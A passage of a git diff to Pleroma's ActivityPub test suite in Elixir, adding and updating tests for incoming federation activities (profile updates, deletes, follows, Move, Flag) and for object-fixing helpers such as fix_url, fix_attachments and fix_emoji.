"https://cd.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png"
@@ -488,6 +683,99 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert user.bio == "<p>Some bio</p>"
end
+ test "it works with alsoKnownAs" do
+ {:ok, %Activity{data: %{"actor" => actor}}} =
+ "test/fixtures/mastodon-post-activity.json"
+ |> File.read!()
+ |> Poison.decode!()
+ |> Transmogrifier.handle_incoming()
+
+ assert User.get_cached_by_ap_id(actor).also_known_as == ["http://example.org/users/foo"]
+
+ {:ok, _activity} =
+ "test/fixtures/mastodon-update.json"
+ |> File.read!()
+ |> Poison.decode!()
+ |> Map.put("actor", actor)
+ |> Map.update!("object", fn object ->
+ object
+ |> Map.put("actor", actor)
+ |> Map.put("id", actor)
+ |> Map.put("alsoKnownAs", [
+ "http://mastodon.example.org/users/foo",
+ "http://example.org/users/bar"
+ ])
+ end)
+ |> Transmogrifier.handle_incoming()
+
+ assert User.get_cached_by_ap_id(actor).also_known_as == [
+ "http://mastodon.example.org/users/foo",
+ "http://example.org/users/bar"
+ ]
+ end
+
+ test "it works with custom profile fields" do
+ {:ok, activity} =
+ "test/fixtures/mastodon-post-activity.json"
+ |> File.read!()
+ |> Poison.decode!()
+ |> Transmogrifier.handle_incoming()
+
+ user = User.get_cached_by_ap_id(activity.actor)
+
+ assert User.fields(user) == [
+ %{"name" => "foo", "value" => "bar"},
+ %{"name" => "foo1", "value" => "bar1"}
+ ]
+
+ update_data = File.read!("test/fixtures/mastodon-update.json") |> Poison.decode!()
+
+ object =
+ update_data["object"]
+ |> Map.put("actor", user.ap_id)
+ |> Map.put("id", user.ap_id)
+
+ update_data =
+ update_data
+ |> Map.put("actor", user.ap_id)
+ |> Map.put("object", object)
+
+ {:ok, _update_activity} = Transmogrifier.handle_incoming(update_data)
+
+ user = User.get_cached_by_ap_id(user.ap_id)
+
+ assert User.fields(user) == [
+ %{"name" => "foo", "value" => "updated"},
+ %{"name" => "foo1", "value" => "updated"}
+ ]
+
+ Pleroma.Config.put([:instance, :max_remote_account_fields], 2)
+
+ update_data =
+ put_in(update_data, ["object", "attachment"], [
+ %{"name" => "foo", "type" => "PropertyValue", "value" => "bar"},
+ %{"name" => "foo11", "type" => "PropertyValue", "value" => "bar11"},
+ %{"name" => "foo22", "type" => "PropertyValue", "value" => "bar22"}
+ ])
+
+ {:ok, _} = Transmogrifier.handle_incoming(update_data)
+
+ user = User.get_cached_by_ap_id(user.ap_id)
+
+ assert User.fields(user) == [
+ %{"name" => "foo", "value" => "updated"},
+ %{"name" => "foo1", "value" => "updated"}
+ ]
+
+ update_data = put_in(update_data, ["object", "attachment"], [])
+
+ {:ok, _} = Transmogrifier.handle_incoming(update_data)
+
+ user = User.get_cached_by_ap_id(user.ap_id)
+
+ assert User.fields(user) == []
+ end
+
test "it works for incoming update activities which lock the account" do
data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!()
@@ -508,11 +796,12 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(update_data)
user = User.get_cached_by_ap_id(data["actor"])
- assert user.info.locked == true
+ assert user.locked == true
end
test "it works for incoming deletes" do
activity = insert(:note_activity)
+ deleting_user = insert(:user)
data =
File.read!("test/fixtures/mastodon-delete.json")
@@ -525,11 +814,14 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
data =
data
|> Map.put("object", object)
- |> Map.put("actor", activity.data["actor"])
+ |> Map.put("actor", deleting_user.ap_id)
- {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data)
+ {:ok, %Activity{actor: actor, local: false, data: %{"id" => id}}} =
+ Transmogrifier.handle_incoming(data)
+ assert id == data["id"]
refute Activity.get_by_id(activity.id)
+ assert actor == deleting_user.ap_id
end
test "it fails for incoming deletes with spoofed origin" do
@@ -550,11 +842,12 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert capture_log(fn ->
:error = Transmogrifier.handle_incoming(data)
end) =~
- "[error] Could not decode user at fetch http://mastodon.example.org/users/gargron, {:error, {:error, :nxdomain}}"
+ "[error] Could not decode user at fetch http://mastodon.example.org/users/gargron, {:error, :nxdomain}"
assert Activity.get_by_id(activity.id)
end
+ @tag capture_log: true
test "it works for incoming user deletes" do
%{ap_id: ap_id} = insert(:user, ap_id: "http://mastodon.example.org/users/admin")
@@ -563,6 +856,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
|> Poison.decode!()
{:ok, _} = Transmogrifier.handle_incoming(data)
+ ObanHelpers.perform_all()
refute User.get_cached_by_ap_id(ap_id)
end
@@ -575,7 +869,10 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
|> Poison.decode!()
|> Map.put("actor", ap_id)
- assert :error == Transmogrifier.handle_incoming(data)
+ assert capture_log(fn ->
+ assert :error == Transmogrifier.handle_incoming(data)
+ end) =~ "Object containment failed"
+
assert User.get_cached_by_ap_id(ap_id)
end
@@ -633,6 +930,25 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
refute User.following?(User.get_cached_by_ap_id(data["actor"]), user)
end
+ test "it works for incoming follows to locked account" do
+ pending_follower = insert(:user, ap_id: "http://mastodon.example.org/users/admin")
+ user = insert(:user, locked: true)
+
+ data =
+ File.read!("test/fixtures/mastodon-follow-activity.json")
+ |> Poison.decode!()
+ |> Map.put("object", user.ap_id)
+
+ {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
+
+ assert data["type"] == "Follow"
+ assert data["object"] == user.ap_id
+ assert data["state"] == "pending"
+ assert data["actor"] == "http://mastodon.example.org/users/admin"
+
+ assert [^pending_follower] = User.get_follow_requests(user)
+ end
+
test "it works for incoming blocks" do
user = insert(:user)
@@ -735,6 +1051,8 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert activity.data["object"] == follow_activity.data["id"]
+ assert activity.data["id"] == accept_data["id"]
+
follower = User.get_cached_by_id(follower.id)
assert User.following?(follower, followed) == true
@@ -742,7 +1060,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
test "it works for incoming accepts which were orphaned" do
follower = insert(:user)
- followed = insert(:user, %{info: %User.Info{locked: true}})
+ followed = insert(:user, locked: true)
{:ok, follow_activity} = ActivityPub.follow(follower, followed)
@@ -764,7 +1082,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
test "it works for incoming accepts which are referenced by IRI only" do
follower = insert(:user)
- followed = insert(:user, %{info: %User.Info{locked: true}})
+ followed = insert(:user, locked: true)
{:ok, follow_activity} = ActivityPub.follow(follower, followed)
@@ -784,7 +1102,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
test "it fails for incoming accepts which cannot be correlated" do
follower = insert(:user)
- followed = insert(:user, %{info: %User.Info{locked: true}})
+ followed = insert(:user, locked: true)
accept_data =
File.read!("test/fixtures/mastodon-accept-activity.json")
@@ -803,7 +1121,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
test "it fails for incoming rejects which cannot be correlated" do
follower = insert(:user)
- followed = insert(:user, %{info: %User.Info{locked: true}})
+ followed = insert(:user, locked: true)
accept_data =
File.read!("test/fixtures/mastodon-reject-activity.json")
@@ -822,7 +1140,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
test "it works for incoming rejects which are orphaned" do
follower = insert(:user)
- followed = insert(:user, %{info: %User.Info{locked: true}})
+ followed = insert(:user, locked: true)
{:ok, follower} = User.follow(follower, followed)
{:ok, _follow_activity} = ActivityPub.follow(follower, followed)
@@ -839,6 +1157,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
{:ok, activity} = Transmogrifier.handle_incoming(reject_data)
refute activity.local
+ assert activity.data["id"] == reject_data["id"]
follower = User.get_cached_by_id(follower.id)
@@ -847,7 +1166,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
test "it works for incoming rejects which are referenced by IRI only" do
follower = insert(:user)
- followed = insert(:user, %{info: %User.Info{locked: true}})
+ followed = insert(:user, locked: true)
{:ok, follower} = User.follow(follower, followed)
{:ok, follow_activity} = ActivityPub.follow(follower, followed)
@@ -916,10 +1235,18 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
{:ok, activity} = CommonAPI.post(user, %{"status" => "test post"})
object = Object.normalize(activity)
+ note_obj = %{
+ "type" => "Note",
+ "id" => activity.data["id"],
+ "content" => "test post",
+ "published" => object.data["published"],
+ "actor" => AccountView.render("show.json", %{user: user})
+ }
+
message = %{
"@context" => "https://www.w3.org/ns/activitystreams",
"cc" => [user.ap_id],
- "object" => [user.ap_id, object.data["id"]],
+ "object" => [user.ap_id, activity.data["id"]],
"type" => "Flag",
"content" => "blocked AND reported!!!",
"actor" => other_user.ap_id
@@ -927,14 +1254,95 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert {:ok, activity} = Transmogrifier.handle_incoming(message)
- assert activity.data["object"] == [user.ap_id, object.data["id"]]
+ assert activity.data["object"] == [user.ap_id, note_obj]
assert activity.data["content"] == "blocked AND reported!!!"
assert activity.data["actor"] == other_user.ap_id
assert activity.data["cc"] == [user.ap_id]
end
+
+ test "it correctly processes messages with non-array to field" do
+ user = insert(:user)
+
+ message = %{
+ "@context" => "https://www.w3.org/ns/activitystreams",
+ "to" => "https://www.w3.org/ns/activitystreams#Public",
+ "type" => "Create",
+ "object" => %{
+ "content" => "blah blah blah",
+ "type" => "Note",
+ "attributedTo" => user.ap_id,
+ "inReplyTo" => nil
+ },
+ "actor" => user.ap_id
+ }
+
+ assert {:ok, activity} = Transmogrifier.handle_incoming(message)
+
+ assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["to"]
+ end
+
+ test "it correctly processes messages with non-array cc field" do
+ user = insert(:user)
+
+ message = %{
+ "@context" => "https://www.w3.org/ns/activitystreams",
+ "to" => user.follower_address,
+ "cc" => "https://www.w3.org/ns/activitystreams#Public",
+ "type" => "Create",
+ "object" => %{
+ "content" => "blah blah blah",
+ "type" => "Note",
+ "attributedTo" => user.ap_id,
+ "inReplyTo" => nil
+ },
+ "actor" => user.ap_id
+ }
+
+ assert {:ok, activity} = Transmogrifier.handle_incoming(message)
+
+ assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["cc"]
+ assert [user.follower_address] == activity.data["to"]
+ end
+
+ test "it accepts Move activities" do
+ old_user = insert(:user)
+ new_user = insert(:user)
+
+ message = %{
+ "@context" => "https://www.w3.org/ns/activitystreams",
+ "type" => "Move",
+ "actor" => old_user.ap_id,
+ "object" => old_user.ap_id,
+ "target" => new_user.ap_id
+ }
+
+ assert :error = Transmogrifier.handle_incoming(message)
+
+ {:ok, _new_user} = User.update_and_set_cache(new_user, %{also_known_as: [old_user.ap_id]})
+
+ assert {:ok, %Activity{} = activity} = Transmogrifier.handle_incoming(message)
+ assert activity.actor == old_user.ap_id
+ assert activity.data["actor"] == old_user.ap_id
+ assert activity.data["object"] == old_user.ap_id
+ assert activity.data["target"] == new_user.ap_id
+ assert activity.data["type"] == "Move"
+ end
end
describe "prepare outgoing" do
+ test "it inlines private announced objects" do
+ user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "hey", "visibility" => "private"})
+
+ {:ok, announce_activity, _} = CommonAPI.repeat(activity.id, user)
+
+ {:ok, modified} = Transmogrifier.prepare_outgoing(announce_activity.data)
+
+ assert modified["object"]["content"] == "hey"
+ assert modified["object"]["actor"] == modified["object"]["attributedTo"]
+ end
+
test "it turns mentions into tags" do
user = insert(:user)
other_user = insert(:user)
@@ -991,32 +1399,6 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert modified["object"]["actor"] == modified["object"]["attributedTo"]
end
- test "it translates ostatus IDs to external URLs" do
- incoming = File.read!("test/fixtures/incoming_note_activity.xml")
- {:ok, [referent_activity]} = OStatus.handle_incoming(incoming)
-
- user = insert(:user)
-
- {:ok, activity, _} = CommonAPI.favorite(referent_activity.id, user)
- {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)
-
- assert modified["object"] == "http://gs.example.org:4040/index.php/notice/29"
- end
-
- test "it translates ostatus reply_to IDs to external URLs" do
- incoming = File.read!("test/fixtures/incoming_note_activity.xml")
- {:ok, [referred_activity]} = OStatus.handle_incoming(incoming)
-
- user = insert(:user)
-
- {:ok, activity} =
- CommonAPI.post(user, %{"status" => "HI!", "in_reply_to_status_id" => referred_activity.id})
-
- {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)
-
- assert modified["object"]["inReplyTo"] == "http://gs.example.org:4040/index.php/notice/29"
- end
-
test "it strips internal hashtag data" do
user = insert(:user)
@@ -1061,14 +1443,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert is_nil(modified["object"]["announcements"])
assert is_nil(modified["object"]["announcement_count"])
assert is_nil(modified["object"]["context_id"])
- end
-
- test "it adds like collection to object" do
- activity = insert(:note_activity)
- {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)
-
- assert modified["object"]["likes"]["type"] == "OrderedCollection"
- assert modified["object"]["likes"]["totalItems"] == 0
+ assert is_nil(modified["object"]["likes"])
end
test "the directMessage flag is present" do
@@ -1110,6 +1485,20 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert is_nil(modified["bcc"])
end
+
+ test "it can handle Listen activities" do
+ listen_activity = insert(:listen)
+
+ {:ok, modified} = Transmogrifier.prepare_outgoing(listen_activity.data)
+
+ assert modified["type"] == "Listen"
+
+ user = insert(:user)
+
+ {:ok, activity} = CommonAPI.listen(user, %{"title" => "lain radio episode 1"})
+
+ {:ok, _modified} = Transmogrifier.prepare_outgoing(activity.data)
+ end
end
describe "user upgrade" do
@@ -1122,23 +1511,26 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
follower_address: User.ap_followers(%User{nickname: "rye@niu.moe"})
})
- user_two = insert(:user, %{following: [user.follower_address]})
+ user_two = insert(:user)
+ Pleroma.FollowingRelationship.follow(user_two, user, "accept")
{:ok, activity} = CommonAPI.post(user, %{"status" => "test"})
{:ok, unrelated_activity} = CommonAPI.post(user_two, %{"status" => "test"})
assert "http://localhost:4001/users/rye@niu.moe/followers" in activity.recipients
user = User.get_cached_by_id(user.id)
- assert user.info.note_count == 1
+ assert user.note_count == 1
{:ok, user} = Transmogrifier.upgrade_user_from_ap_id("https://niu.moe/users/rye")
- assert user.info.ap_enabled
- assert user.info.note_count == 1
+ ObanHelpers.perform_all()
+
+ assert user.ap_enabled
+ assert user.note_count == 1
assert user.follower_address == "https://niu.moe/users/rye/followers"
assert user.following_address == "https://niu.moe/users/rye/following"
user = User.get_cached_by_id(user.id)
- assert user.info.note_count == 1
+ assert user.note_count == 1
activity = Activity.get_by_id(activity.id)
assert user.follower_address in activity.recipients
@@ -1159,7 +1551,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
"https://cdn.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png"
}
]
- } = user.info.banner
+ } = user.banner
refute "..." in activity.recipients
@@ -1167,23 +1559,8 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
refute user.follower_address in unrelated_activity.recipients
user_two = User.get_cached_by_id(user_two.id)
- assert user.follower_address in user_two.following
- refute "..." in user_two.following
- end
- end
-
- describe "maybe_retire_websub" do
- test "it deletes all websub client subscripitions with the user as topic" do
- subscription = %WebsubClientSubscription{topic: "https://niu.moe/users/rye.atom"}
- {:ok, ws} = Repo.insert(subscription)
-
- subscription = %WebsubClientSubscription{topic: "https://niu.moe/users/pasty.atom"}
- {:ok, ws2} = Repo.insert(subscription)
-
- Transmogrifier.maybe_retire_websub("https://niu.moe/users/rye")
-
- refute Repo.get(WebsubClientSubscription, ws.id)
- assert Repo.get(WebsubClientSubscription, ws2.id)
+ assert User.following?(user_two, user)
+ refute "..." in User.following(user_two)
end
end
@@ -1209,7 +1586,9 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
"type" => "Announce"
}
- :error = Transmogrifier.handle_incoming(data)
+ assert capture_log(fn ->
+ :error = Transmogrifier.handle_incoming(data)
+ end) =~ "Object containment failed"
end
test "it rejects activities which reference objects that have an incorrect attribution (variant 1)" do
@@ -1222,7 +1601,9 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
"type" => "Announce"
}
- :error = Transmogrifier.handle_incoming(data)
+ assert capture_log(fn ->
+ :error = Transmogrifier.handle_incoming(data)
+ end) =~ "Object containment failed"
end
test "it rejects activities which reference objects that have an incorrect attribution (variant 2)" do
@@ -1235,7 +1616,9 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
"type" => "Announce"
}
- :error = Transmogrifier.handle_incoming(data)
+ assert capture_log(fn ->
+ :error = Transmogrifier.handle_incoming(data)
+ end) =~ "Object containment failed"
end
end
@@ -1374,31 +1757,274 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
end
end
- test "update_following_followers_counters/1" do
- user1 =
- insert(:user,
- local: false,
- follower_address: "http://localhost:4001/users/masto_closed/followers",
- following_address: "http://localhost:4001/users/masto_closed/following"
- )
+ describe "fix_summary/1" do
+ test "returns fixed object" do
+ assert Transmogrifier.fix_summary(%{"summary" => nil}) == %{"summary" => ""}
+ assert Transmogrifier.fix_summary(%{"summary" => "ok"}) == %{"summary" => "ok"}
+ assert Transmogrifier.fix_summary(%{}) == %{"summary" => ""}
+ end
+ end
+
+ describe "fix_in_reply_to/2" do
+ clear_config([:instance, :federation_incoming_replies_max_depth])
+
+ setup do
+ data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
+ [data: data]
+ end
+
+ test "returns not modified object when hasn't containts inReplyTo field", %{data: data} do
+ assert Transmogrifier.fix_in_reply_to(data) == data
+ end
+
+ test "returns object with inReplyToAtomUri when denied incoming reply", %{data: data} do
+ Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0)
+
+ object_with_reply =
+ Map.put(data["object"], "inReplyTo", "https://shitposter.club/notice/2827873")
+
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+ assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873"
+ assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
+
+ object_with_reply =
+ Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"})
+
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+ assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"}
+ assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
+
+ object_with_reply =
+ Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"])
+
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+ assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"]
+ assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
+
+ object_with_reply = Map.put(data["object"], "inReplyTo", [])
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+ assert modified_object["inReplyTo"] == []
+ assert modified_object["inReplyToAtomUri"] == ""
+ end
+
+ @tag capture_log: true
+ test "returns modified object when allowed incoming reply", %{data: data} do
+ object_with_reply =
+ Map.put(
+ data["object"],
+ "inReplyTo",
+ "https://shitposter.club/notice/2827873"
+ )
+
+ Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 5)
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+
+ assert modified_object["inReplyTo"] ==
+ "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
+
+ assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
- user2 =
- insert(:user,
- local: false,
- follower_address: "http://localhost:4001/users/fuser2/followers",
- following_address: "http://localhost:4001/users/fuser2/following"
- )
+ assert modified_object["conversation"] ==
+ "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26"
- Transmogrifier.update_following_followers_counters(user1)
- Transmogrifier.update_following_followers_counters(user2)
+ assert modified_object["context"] ==
+ "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26"
+ end
+ end
- %{follower_count: followers, following_count: following} = User.get_cached_user_info(user1)
- assert followers == 437
- assert following == 152
+ describe "fix_url/1" do
+ test "fixes data for object when url is map" do
+ object = %{
+ "url" => %{
+ "type" => "Link",
+ "mimeType" => "video/mp4",
+ "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
+ }
+ }
- %{follower_count: followers, following_count: following} = User.get_cached_user_info(user2)
+ assert Transmogrifier.fix_url(object) == %{
+ "url" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
+ }
+ end
- assert followers == 527
- assert following == 267
+ test "fixes data for video object" do
+ object = %{
+ "type" => "Video",
+ "url" => [
+ %{
+ "type" => "Link",
+ "mimeType" => "video/mp4",
+ "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
+ },
+ %{
+ "type" => "Link",
+ "mimeType" => "video/mp4",
+ "href" => "https://peertube46fb-ad81-2d4c2d1630e3-240.mp4"
+ },
+ %{
+ "type" => "Link",
+ "mimeType" => "text/html",
+ "href" => "https://peertube.-2d4c2d1630e3"
+ },
+ %{
+ "type" => "Link",
+ "mimeType" => "text/html",
+ "href" => "https://peertube.-2d4c2d16377-42"
+ }
+ ]
+ }
+
+ assert Transmogrifier.fix_url(object) == %{
+ "attachment" => [
+ %{
+ "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4",
+ "mimeType" => "video/mp4",
+ "type" => "Link"
+ }
+ ],
+ "type" => "Video",
+ "url" => "https://peertube.-2d4c2d1630e3"
+ }
+ end
+
+ test "fixes url for not Video object" do
+ object = %{
+ "type" => "Text",
+ "url" => [
+ %{
+ "type" => "Link",
+ "mimeType" => "text/html",
+ "href" => "https://peertube.-2d4c2d1630e3"
+ },
+ %{
+ "type" => "Link",
+ "mimeType" => "text/html",
+ "href" => "https://peertube.-2d4c2d16377-42"
+ }
+ ]
+ }
+
+ assert Transmogrifier.fix_url(object) == %{
+ "type" => "Text",
+ "url" => "https://peertube.-2d4c2d1630e3"
+ }
+
+ assert Transmogrifier.fix_url(%{"type" => "Text", "url" => []}) == %{
+ "type" => "Text",
+ "url" => ""
+ }
+ end
+
+ test "retunrs not modified object" do
+ assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"}
+ end
+ end
+
+ describe "get_obj_helper/2" do
+ test "returns nil when cannot normalize object" do
+ assert capture_log(fn ->
+ refute Transmogrifier.get_obj_helper("test-obj-id")
+ end) =~ "Unsupported URI scheme"
+ end
+
+ @tag capture_log: true
+ test "returns {:ok, %Object{}} for success case" do
+ assert {:ok, %Object{}} =
+ Transmogrifier.get_obj_helper("https://shitposter.club/notice/2827873")
+ end
+ end
+
+ describe "fix_attachments/1" do
+ test "returns not modified object" do
+ data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
+ assert Transmogrifier.fix_attachments(data) == data
+ end
+
+ test "returns modified object when attachment is map" do
+ assert Transmogrifier.fix_attachments(%{
+ "attachment" => %{
+ "mediaType" => "video/mp4",
+ "url" => "https://peertube.moe/stat-480.mp4"
+ }
+ }) == %{
+ "attachment" => [
+ %{
+ "mediaType" => "video/mp4",
+ "url" => [
+ %{
+ "href" => "https://peertube.moe/stat-480.mp4",
+ "mediaType" => "video/mp4",
+ "type" => "Link"
+ }
+ ]
+ }
+ ]
+ }
+ end
+
+ test "returns modified object when attachment is list" do
+ assert Transmogrifier.fix_attachments(%{
+ "attachment" => [
+ %{"mediaType" => "video/mp4", "url" => "https://pe.er/stat-480.mp4"},
+ %{"mimeType" => "video/mp4", "href" => "https://pe.er/stat-480.mp4"}
+ ]
+ }) == %{
+ "attachment" => [
+ %{
+ "mediaType" => "video/mp4",
+ "url" => [
+ %{
+ "href" => "https://pe.er/stat-480.mp4",
+ "mediaType" => "video/mp4",
+ "type" => "Link"
+ }
+ ]
+ },
+ %{
+ "href" => "https://pe.er/stat-480.mp4",
+ "mediaType" => "video/mp4",
+ "mimeType" => "video/mp4",
+ "url" => [
+ %{
+ "href" => "https://pe.er/stat-480.mp4",
+ "mediaType" => "video/mp4",
+ "type" => "Link"
+ }
+ ]
+ }
+ ]
+ }
+ end
+ end
+
+ describe "fix_emoji/1" do
+ test "returns not modified object when object not contains tags" do
+ data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
+ assert Transmogrifier.fix_emoji(data) == data
+ end
+
+ test "returns object with emoji when object contains list tags" do
+ assert Transmogrifier.fix_emoji(%{
+ "tag" => [
+ %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}},
+ %{"type" => "Hashtag"}
+ ]
+ }) == %{
+ "emoji" => %{"bib" => "/test"},
+ "tag" => [
+ %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"},
+ %{"type" => "Hashtag"}
+ ]
+ }
+ end
+
+ test "returns object with emoji when object contains map tag" do
+ assert Transmogrifier.fix_emoji(%{
+ "tag" => %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}}
+ }) == %{
+ "emoji" => %{"bib" => "/test"},
+ "tag" => %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"}
+ }
+ end
end
end
diff --git a/test/web/activity_pub/utils_test.exs b/test/web/activity_pub/utils_test.exs
index ca5f057a7..211fa6c95 100644
--- a/test/web/activity_pub/utils_test.exs
+++ b/test/web/activity_pub/utils_test.exs
@@ -10,10 +10,13 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.ActivityPub.Utils
+ alias Pleroma.Web.AdminAPI.AccountView
alias Pleroma.Web.CommonAPI
import Pleroma.Factory
+ require Pleroma.Constants
+
describe "fetch the latest Follow" do
test "fetches the latest Follow activity" do
%Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity)
@@ -85,6 +88,46 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
assert Utils.determine_explicit_mentions(object) == []
end
+
+ test "works with an object has tags as map" do
+ object = %{
+ "tag" => %{
+ "type" => "Mention",
+ "href" => "https://example.com/~alyssa",
+ "name" => "Alyssa P. Hacker"
+ }
+ }
+
+ assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"]
+ end
+ end
+
+ describe "make_unlike_data/3" do
+ test "returns data for unlike activity" do
+ user = insert(:user)
+ like_activity = insert(:like_activity, data_attrs: %{"context" => "test context"})
+
+ object = Object.normalize(like_activity.data["object"])
+
+ assert Utils.make_unlike_data(user, like_activity, nil) == %{
+ "type" => "Undo",
+ "actor" => user.ap_id,
+ "object" => like_activity.data,
+ "to" => [user.follower_address, object.data["actor"]],
+ "cc" => [Pleroma.Constants.as_public()],
+ "context" => like_activity.data["context"]
+ }
+
+ assert Utils.make_unlike_data(user, like_activity, "9mJEZK0tky1w2xD2vY") == %{
+ "type" => "Undo",
+ "actor" => user.ap_id,
+ "object" => like_activity.data,
+ "to" => [user.follower_address, object.data["actor"]],
+ "cc" => [Pleroma.Constants.as_public()],
+ "context" => like_activity.data["context"],
+ "id" => "9mJEZK0tky1w2xD2vY"
+ }
+ end
end
describe "make_like_data" do
@@ -255,7 +298,7 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
describe "update_follow_state_for_all/2" do
test "updates the state of all Follow activities with the same actor and object" do
- user = insert(:user, info: %{locked: true})
+ user = insert(:user, locked: true)
follower = insert(:user)
{:ok, follow_activity} = ActivityPub.follow(follower, user)
@@ -272,14 +315,14 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
{:ok, follow_activity_two} =
Utils.update_follow_state_for_all(follow_activity_two, "accept")
- assert Repo.get(Activity, follow_activity.id).data["state"] == "accept"
- assert Repo.get(Activity, follow_activity_two.id).data["state"] == "accept"
+ assert refresh_record(follow_activity).data["state"] == "accept"
+ assert refresh_record(follow_activity_two).data["state"] == "accept"
end
end
describe "update_follow_state/2" do
test "updates the state of the given follow activity" do
- user = insert(:user, info: %{locked: true})
+ user = insert(:user, locked: true)
follower = insert(:user)
{:ok, follow_activity} = ActivityPub.follow(follower, user)
@@ -295,8 +338,315 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
{:ok, follow_activity_two} = Utils.update_follow_state(follow_activity_two, "reject")
- assert Repo.get(Activity, follow_activity.id).data["state"] == "pending"
- assert Repo.get(Activity, follow_activity_two.id).data["state"] == "reject"
+ assert refresh_record(follow_activity).data["state"] == "pending"
+ assert refresh_record(follow_activity_two).data["state"] == "reject"
+ end
+ end
+
+ describe "update_element_in_object/3" do
+ test "updates likes" do
+ user = insert(:user)
+ activity = insert(:note_activity)
+ object = Object.normalize(activity)
+
+ assert {:ok, updated_object} =
+ Utils.update_element_in_object(
+ "like",
+ [user.ap_id],
+ object
+ )
+
+ assert updated_object.data["likes"] == [user.ap_id]
+ assert updated_object.data["like_count"] == 1
+ end
+ end
+
+ describe "add_like_to_object/2" do
+ test "add actor to likes" do
+ user = insert(:user)
+ user2 = insert(:user)
+ object = insert(:note)
+
+ assert {:ok, updated_object} =
+ Utils.add_like_to_object(
+ %Activity{data: %{"actor" => user.ap_id}},
+ object
+ )
+
+ assert updated_object.data["likes"] == [user.ap_id]
+ assert updated_object.data["like_count"] == 1
+
+ assert {:ok, updated_object2} =
+ Utils.add_like_to_object(
+ %Activity{data: %{"actor" => user2.ap_id}},
+ updated_object
+ )
+
